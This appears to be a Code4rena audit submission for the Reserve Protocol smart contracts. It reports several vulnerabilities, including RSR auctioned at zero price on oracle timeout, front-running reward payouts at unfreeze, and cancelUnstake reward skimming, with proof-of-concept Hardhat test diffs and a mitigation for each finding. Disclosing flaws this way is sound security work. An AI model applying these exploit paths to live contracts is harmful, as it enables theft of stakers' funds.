Reserve Protocol - Invitational - ronnyx2017's results

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L83-L104

Vulnerability details

There is a dev comment in the Assert.sol:

DEPRECATED: claimRewards() will be removed from all assets and collateral plugins

The claimRewards is moved to the TradingP1.claimRewards/claimRewardsSingle.

But when the RevenueTraderP1 trade and distribute revenues by manageToken, it only calls the refresh function of the asserts:

if (erc20 != IERC20(address(rToken)) && tokenToBuy != IERC20(address(rToken))) {
    IAsset sell_ = assetRegistry.toAsset(erc20);
    IAsset buy_ = assetRegistry.toAsset(tokenToBuy);
    if (sell_.lastSave() != uint48(block.timestamp)) sell_.refresh();
    if (buy_.lastSave() != uint48(block.timestamp)) buy_.refresh();
}

The claimRewards is left out.

Impact

Loss a part of rewards.

Tools Used

Manual review

Recommended Mitigation Steps

Add claimRewardsSingle when refresh assert in the manageToken.

Assessed type

Context

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/RecollateralizationLib.sol#L394-L413

Vulnerability details

When creating the trade for rebalance, the RecollateralizationLibP1.nextTradePair uses (uint192 low, uint192 high) = rsrAsset.price(); // {UoA/tok} to get the rsr sell price. And the rsr assert is a pure Assert contract, which price() function will just return (0, FIX_MAX) if oracle is timeout:

function price() public view virtual returns (uint192, uint192) {
    try this.tryPrice() returns (uint192 low, uint192 high, uint192) {
        assert(low <= high);
        return (low, high);
    } catch (bytes memory errData) {
        ...
        return (0, FIX_MAX);
    }
}

The trade.sellAmount will be all the rsr in the BackingManager and stRSR:

uint192 rsrAvailable = rsrAsset.bal(address(ctx.bm)).plus(
    rsrAsset.bal(address(ctx.stRSR))
);
trade.sellAmount = rsrAvailable;

It will be cut down to a normal amount fit for buying UoA amount in the trade.prepareTradeToCoverDeficit function.

But if the rsr oracle is timeout and returns a 0 low price. The trade req will be made by trade.prepareTradeSell, which will sell all the available rsr at 0 price.

Note that the SOUND colls won't be affected by the issue because the sell amount has already been cut down by basketsNeeded.

Impact

Loss huge amount of rsr in the auction. When huge amounts of assets are auctioned off at zero, panic and insufficient liquidity make the outcome unpredictable.

Proof of Concept

POC git diff test/Recollateralization.test.ts

diff --git a/test/Recollateralization.test.ts b/test/Recollateralization.test.ts
index 86cd3e88..15639916 100644
--- a/test/Recollateralization.test.ts
+++ b/test/Recollateralization.test.ts
@@ -51,7 +51,7 @@ import {
 import snapshotGasCost from './utils/snapshotGasCost'
 import { expectTrade, getTrade, dutchBuyAmount } from './utils/trades'
 import { withinQuad } from './utils/matchers'
-import { expectRTokenPrice, setOraclePrice } from './utils/oracles'
+import { expectRTokenPrice, setInvalidOracleTimestamp, setOraclePrice } from './utils/oracles'
 import { useEnv } from '#/utils/env'
 import { mintCollaterals } from './utils/tokens'
 
@@ -797,6 +797,166 @@ describe(`Recollateralization - P${IMPLEMENTATION}`, () => {
   })
 
   describe('Recollateralization', function () {
+    context('With simple Basket - Two stablecoins', function () {
+      let issueAmount: BigNumber
+      let stakeAmount: BigNumber
+
+      beforeEach(async function () {
+        // Issue some RTokens to user
+        issueAmount = bn('100e18')
+        stakeAmount = bn('10000e18')
+
+        // Setup new basket with token0 & token1
+        await basketHandler.connect(owner).setPrimeBasket([token0.address, token1.address], [fp('0.5'), fp('0.5')])
+        await basketHandler.connect(owner).refreshBasket()
+
+        // Provide approvals
+        await token0.connect(addr1).approve(rToken.address, initialBal)
+        await token1.connect(addr1).approve(rToken.address, initialBal)
+
+        // Issue rTokens
+        await rToken.connect(addr1).issue(issueAmount)
+
+        // Stake some RSR
+        await rsr.connect(owner).mint(addr1.address, initialBal)
+        await rsr.connect(addr1).approve(stRSR.address, stakeAmount)
+        await stRSR.connect(addr1).stake(stakeAmount)
+      })
+      
+      it('C4M7', async () => {
+        // Register Collateral
+        await assetRegistry.connect(owner).register(backupCollateral1.address)
+  
+        // Set backup configuration - USDT as backup
+        await basketHandler
+          .connect(owner)
+          .setBackupConfig(ethers.utils.formatBytes32String('USD'), bn(1), [backupToken1.address])
+        
+        // Set Token0 to default - 50% price reduction
+        await setOraclePrice(collateral0.address, bn('0.5e8'))
+  
+        // Mark default as probable
+        await assetRegistry.refresh()
+        // Advance time post collateral's default delay
+        await advanceTime((await collateral0.delayUntilDefault()).toString())
+  
+        // Confirm default and trigger basket switch
+        await basketHandler.refreshBasket()
+  
+        // Advance time post warmup period - SOUND just regained
+        await advanceTime(Number(config.warmupPeriod) + 1)
+  
+        const initToken1B = await token1.balanceOf(backingManager.address);
+        // rebalance
+        const token1Decimal = 6;
+        const sellAmt: BigNumber = await token0.balanceOf(backingManager.address)
+        const buyAmt: BigNumber = sellAmt.div(2)
+        await facadeTest.runAuctionsForAllTraders(rToken.address);
+        // bid
+        await backupToken1.connect(addr1).approve(gnosis.address, sellAmt)
+        await gnosis.placeBid(0, {
+          bidder: addr1.address,
+          sellAmount: sellAmt,
+          buyAmount: buyAmt,
+        })
+        await advanceTime(config.batchAuctionLength.add(100).toString())
+        // await facadeTest.runAuctionsForAllTraders(rToken.address);
+        const rsrAssert = await assetRegistry.callStatic.toAsset(rsr.address);
+        await setInvalidOracleTimestamp(rsrAssert);
+        await expectEvents(facadeTest.runAuctionsForAllTraders(rToken.address), [
+          {
+            contract: backingManager,
+            name: 'TradeSettled',
+            args: [anyValue, token0.address, backupToken1.address, sellAmt, buyAmt],
+            emitted: true,
+          },
+          {
+            contract: backingManager,
+            name: 'TradeStarted',
+            args: [anyValue, rsr.address, backupToken1.address, stakeAmount, anyValue], // sell 25762677277828792981
+            emitted: true,
+          },
+        ])
+  
+        // check
+        console.log(await token0.balanceOf(backingManager.address));
+        const currentToken1B = await token1.balanceOf(backingManager.address);
+        console.log(currentToken1B);
+        console.log(await backupToken1.balanceOf(backingManager.address));
+        const rsrB = await rsr.balanceOf(stRSR.address);
+        console.log(rsrB);
+  
+        // expect
+        expect(rsrB).to.eq(0);
+      })
+    })
+
     context('With very simple Basket - Single stablecoin', function () {
       let issueAmount: BigNumber
       let stakeAmount: BigNumber

run test:

PROTO_IMPL=1 npx hardhat test --grep 'C4M7' test/Recollateralization.test.ts

log:

  Recollateralization - P1
    Recollateralization
      With simple Basket - Two stablecoins
BigNumber { value: "0" }
BigNumber { value: "50000000" }
BigNumber { value: "25000000000000000000" }
BigNumber { value: "0" }

Tools Used

Manual review

Recommended Mitigation Steps

Using lotPrice or just revert for rsr oracle timeout might be a good idea.

Assessed type

Context

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L100-L104

Vulnerability details

Impact

The reward rToken sent to RevenueTrader will be sold at a low price. RSR stakers will lose some of their profits.

Proof of Concept

RevenueTraderP1.manageToken function is used to launch auctions for any erc20 tokens sent to it. For the RevenueTrader of the rsr stake, the tokenToBuy is rsr and the token to sell is reward rtoken.

There is the refresh code in the manageToken function:

} else if (assetRegistry.lastRefresh() != uint48(block.timestamp)) {
    // Refresh everything only if RToken is being traded
    assetRegistry.refresh();
    furnace.melt();
}

It refreshes only when the assetRegistry has not been refreshed in the same block.

So if the actor calls the assetRegistry.refresh() before calling manageToken function, the furnace.melt() won't been called. And the BU exchange rate of the RToken will be lower than actual value. So the sellPrice is also going to be smaller.

(uint192 sellPrice, ) = sell.price(); // {UoA/tok}

TradeInfo memory trade = TradeInfo({
    sell: sell,
    buy: buy,
    sellAmount: sell.bal(address(this)),
    buyAmount: 0,
    sellPrice: sellPrice,
    buyPrice: buyPrice
});

Tools Used

Manual review

Recommended Mitigation Steps

Refresh everything before sell rewards.

Assessed type

Context

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L222-L232

Vulnerability details

If the system is frozen, the only allowed operation is stRST.stake. And the _payoutRewards is not called during freeze period:

if (!main.frozen()) _payoutRewards();

function payoutRewards() external {
    requireNotFrozen();
    _payoutRewards();
}

So the payoutLastPaid stays before the freeze period. But when the system is unfreezed, accumulated rewards will be released all at once because the block.timestamp leapt the whole freeze period.

Impact

A front runner can stake huge proportion rsr before admin unfreezes the system. And the attacker can get most of rsr rewards in the next block. And he only takes the risk of the unstakingDelay period.

Proof of Concept

Assumption: there are 2000 rsr stake in the stRSR, and there are 1000 rsr rewards in the rsrRewardsAtLastPayout with a 1 year half-life period.

And at present, the LONG_FREEZER freezeLong system for 1 year(default).

After 1 year, at the unfreeze point, a front runner stake 2000 rsr into stRSR. And then the system is unfreeze. And in the next blcok,the front runner unstakes all the stRSR he has for 2250 rsr = 2000 principal + 1000 / 2 / 2 rsr rewards.

The only risk he took is unstakingDelay. The original rsr stakers took the risk of the whole freeze period + unstakingDelay but only got a part of rewards back.

Tools Used

Manual review

Recommended Mitigation Steps

payoutRewards before freeze and update payoutLastPaid before unfreeze.

Assessed type

Access Control

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L341-L380

Vulnerability details

cancelUnstake will cancel the withdrawal request in the queue can mint shares as the current stakeRate. But it doesn't payoutRewards before mintStakes. Therefor it will mint stRsr as a lower rate, which means it will get more rsr.

Impact

Withdrawers in the unstake queue can cancelUnstake without calling payoutRewards to get more rsr rewards that should not belong to them.

Proof of Concept

POC test/ZZStRSR.test.ts git patch

diff --git a/test/ZZStRSR.test.ts b/test/ZZStRSR.test.ts
index ecc31f68..b2809129 100644
--- a/test/ZZStRSR.test.ts
+++ b/test/ZZStRSR.test.ts
@@ -1333,6 +1333,46 @@ describe(`StRSRP${IMPLEMENTATION} contract`, () => {
       expect(await stRSR.exchangeRate()).to.be.gt(initialRate)
     })
 
+    it('cancelUnstake', async () => {
+      const amount: BigNumber = bn('10e18')
+
+      // Stake
+      await rsr.connect(addr1).approve(stRSR.address, amount)
+      await stRSR.connect(addr1).stake(amount)
+      await rsr.connect(addr2).approve(stRSR.address, amount)
+      await stRSR.connect(addr2).stake(amount)
+      await rsr.connect(addr3).approve(stRSR.address, amount)
+      await stRSR.connect(addr3).stake(amount)
+
+      const  initExchangeRate = await stRSR.exchangeRate();
+      console.log(initExchangeRate);
+
+      // Unstake addr2 & addr3 at same time (Although in different blocks, but timestamp only 1s)
+      await stRSR.connect(addr2).unstake(amount)
+      await stRSR.connect(addr3).unstake(amount)
+
+      // skip 1000 block PERIOD / 12000s
+      await setNextBlockTimestamp(Number(ONE_PERIOD.mul(1000).add(await getLatestBlockTimestamp())))
+
+      // Let's cancel the unstake in normal
+      await expect(stRSR.connect(addr2).cancelUnstake(1)).to.emit(stRSR, 'UnstakingCancelled')
+      let exchangeRate = await stRSR.exchangeRate();
+      expect(exchangeRate).to.equal(initExchangeRate)
+      
+      // addr3 cancelUnstake after payoutRewards
+      await stRSR.payoutRewards()
+      await expect(stRSR.connect(addr3).cancelUnstake(1)).to.emit(stRSR, 'UnstakingCancelled')
+
+      // Check balances addr2 & addr3
+      exchangeRate = await stRSR.exchangeRate();
+      expect(exchangeRate).to.be.gt(initExchangeRate)
+      const addr2NowAmount = exchangeRate.mul(await stRSR.balanceOf(addr2.address)).div(bn('1e18'));
+      console.log("addr2", addr2NowAmount.toString());
+      const addr3NowAmount = exchangeRate.mul(await stRSR.balanceOf(addr3.address)).div(bn('1e18'));
+      console.log("addr3",addr3NowAmount.toString());
+      expect(addr2NowAmount).to.gt(addr3NowAmount)
+    })
+
     it('Rewards should not be handed out when paused but staking should still work', async () => {
       await main.connect(owner).pauseTrading()
       await setNextBlockTimestamp(Number(ONE_PERIOD.add(await getLatestBlockTimestamp())))

The test simulates two users unstake and cancelUnstake operations at the same time.But the addr2 calls payoutRewards after his cancelUnstake. And addr3 calls cancelUnstake after payoutRewards. Addr2 gets more rsr than addr3 in the end.

run test:

PROTO_IMPL=1 npx hardhat test --grep cancelUnstake test/ZZStRSR.test.ts

log:

  StRSRP1 contract
    Add RSR / Rewards
BigNumber { value: "1000000000000000000" }
addr2 10005345501258588240
addr3 10000000000000000013

Tools Used

Manual review

Recommended Mitigation Steps

Call _payoutRewards before mint shares.

Assessed type

Math

LOW

code lines: https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L66-L71

BackingManagerP1.grantRTokenAllowance should be limited by notTradingPausedOrFrozen instead of notFrozen. Because the asserts approval for RToken are used to redeem, which is disabled when TradingPaused.

code lines: https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L202-L204

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L179-L181

Time check is inconsistent in DutchTrade CanSettle:

|| block.timestamp > endTime);

But in settle():

require(block.timestamp >= endTime,

QA

1. UI display error in https://register.app/#/settings?token=0xA0d69E286B938e21CBf7E51D71F6A4c8918f482F

Reward ratio is 0.0000032090147 = 0.00032090147% ,instead of 0.0000032090147% .